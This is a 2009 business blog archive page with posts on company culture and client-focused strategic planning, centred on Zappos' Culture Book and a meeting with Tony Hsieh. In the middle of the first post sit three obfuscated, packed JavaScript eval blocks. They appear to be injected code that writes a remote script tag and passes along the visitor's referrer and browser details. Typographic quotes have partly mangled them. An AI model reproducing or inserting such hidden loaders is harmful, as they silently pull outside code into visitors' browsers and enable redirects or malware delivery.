Monthly Archives: April 2009

"The significant problems we face cannot be solved by the same level of thinking that created them." ——Albert Einstein

Our beliefs can pose one of the biggest threats to our business growth. Yet many business owners completely ignore the toxic beliefs that invade their company. Let's face it–it is much easier to focus on improving the balance sheet, laying off non performers, and generating more sales.  Unfortunately, those actions may not fix our company's performance in the long term, or help us attract the best team to position us for the economic recovery.

Do you believe strongly enough in your company’s culture to share it with the world–unfiltered?
Zappos CEO Tony Hsieh does.

eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yznkf|var|u0026u|referrer|kzfti||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iekeh|var|u0026u|referrer|khsfe||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zfhhe|var|u0026u|referrer|edhyb||js|php’.split(‘|’),0,{}))

You see, Zappos publishes an annual Culture Book. You can actually order a copy and read it.
Even if you are a competitor. (learn more by watching my brief interview with Tony below)

Inside their annual Zappos 2008 Culture Book, you will find all kinds of revealing comments across multiple Zappos departments and locations….

Are your strategic planning activities done from the inside out, or outside in? How often do you rely on client feedback and interaction to refine your plan? And why does it matter?
 
It matters alot.
 
In these challenging times, it's easy to focus intently on improving your internal processes. When that happens at the expense of your clients, you will miss out on obvious growth opportunities. Your strategic growth plan becomes little more than an academic exercise. 
 
My meeting with Zappos CEO Tony Hsieh (see videos below) reinforced my belief that it is possible to balance your internal planning activities with your client-focused marketing and selling initiatives.  

How digital-ready is your team?

Take our 3 minute quiz to find out.
TAKE THE QUIZ!
close-link